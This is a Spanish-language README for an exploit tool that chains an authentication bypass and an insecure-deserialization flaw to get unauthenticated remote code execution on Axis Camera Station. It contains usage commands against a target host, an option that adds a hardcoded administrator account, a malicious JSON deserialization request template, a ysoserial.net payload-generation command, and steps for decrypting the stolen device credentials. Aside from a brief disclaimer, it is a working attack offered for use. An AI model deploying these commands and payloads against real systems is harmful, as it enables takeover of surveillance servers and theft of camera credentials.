
RCE no autenticado en Axis Camera Station (ACS) encadenando CVE‑2025‑30026 (omisión de autenticación) + CVE‑2025‑30023 (deserialización insegura)
Este exploit encadena CVE‑2025‑30026 (omisión de autenticación) con CVE‑2025‑30023 (deserialización insegura) para lograr RCE no autenticado en el software Axis Camera Station. Elude el mecanismo de inicio de sesión y entrega cargas útiles serializadas maliciosas que desencadenan la ejecución arbitraria de comandos, otorgando al atacante control total sobre la máquina objetivo.
Ambas vulnerabilidades afectan a las versiones de Axis Camera Station Pro anteriores a la 6.9 y a las versiones de Axis Camera Station anteriores a la 5.58.
Está basado en la entrada del blog de Claroty "Turning Camera Surveillance on its Axis", que describe el protocolo y las vulnerabilidades asociadas.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Flag | Descripción |
|---|---|
--host | IP/host objetivo (obligatorio). |
--port | Puerto objetivo (por defecto 55752). |
--key | Clave privada RSA-2048 del cliente en PEM (obligatorio). |
--json | Archivo JSON local que contiene la Request a enviar. |
--version | Request VersionFacade.get_ProductVersion para obtener información de la versión. |
--adduser | Crea el usuario ricardo con la contraseña ThisIsIt123 y lo añade al grupo Administrators. |
--wait | Segundos de escucha en el canal tras el handshake (por defecto 5). |
--listen | Segundos de espera para la respuesta tras enviar una Request (por defecto 15). |
Instala las dependencias y genera una clave privada RSA en formato PEM para el cliente:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Consulte la versión del producto para comprobar si la versión es vulnerable:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Explotar la deserialización para crear un usuario administrador ricardo con la contraseña ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Envía un Request personalizado desde un archivo JSON para ejecutar cualquier comando:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestUn Request es un objeto JSON con una única clave "Request". El formato para explotar la deserialización es:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
El valor del campo clientInformationDto se puede obtener usando Ysoserial.net con un gadget como WindowsIdentity, que parece bastante estable para explotar esta vulnerabilidad (otros gadgets hacen que el servicio se caiga):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Una vez que tenga acceso a la máquina Windows, tendrá acceso a las bases de datos .FDB que contienen las credenciales para conectarse a los distintos dispositivos. Estas están cifradas mediante una implementación débil de AES, que puede descifrar de inmediato utilizando el número de serie del volumen del host o forzarla por fuerza bruta en minutos con una GPU.
Puede usar el script de este repositorio para explotarlo: CVE-2026-63286.
AXIS Camera Station envuelve un protocolo binario con estado sobre HTTP. En lugar de una solicitud/respuesta por conexión, abre dos canales de larga duración y transmite mensajes enmarcados a través de ellos hasta que se cierra la conexión.
| Capa | Detalle |
|---|---|
| Transporte | HTTP sobre el puerto 55752. GET /_/ abre el canal RX (recepción); POST /_/<channelID> es el canal TX (envío), con cada mensaje en el cuerpo del POST. |
| Enmarcado RX | Cuerpo HTTP chunked; dentro de él, las tramas de control son [uint32 LE length][data]. |
| Handshake | Ambas partes intercambian una clave pública y luego una clave de sesión AES aleatoria envuelta con la clave pública de la otra parte. |
| Formato de clave | El cliente envía su certificado X.509 (base64). La clave AES se envía como base64(wrapped_key):base64(iv). |
| Envoltura RSA | PKCS#1 v1.5. |
| Canal | AES-256-CBC con relleno PKCS#7. Las tramas servidor→cliente usan la clave + IV del servidor. |
| Aplicación | JSON de Axis.Remoting. El cliente primero envía su ClientId como un HELLO, luego {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Probado en las versiones 5.57.27610 y 5.57.33556 ejecutándose en Windows 11.
Los ataques de deserialización pueden hacer fallar el servicio si se utilizan gadgets inestables o parámetros inadecuados, por lo que siempre se debe probar en entornos controlados.
Este script se proporciona únicamente con fines educativos y de pruebas autorizadas... ¡úsalo bajo tu propio riesgo!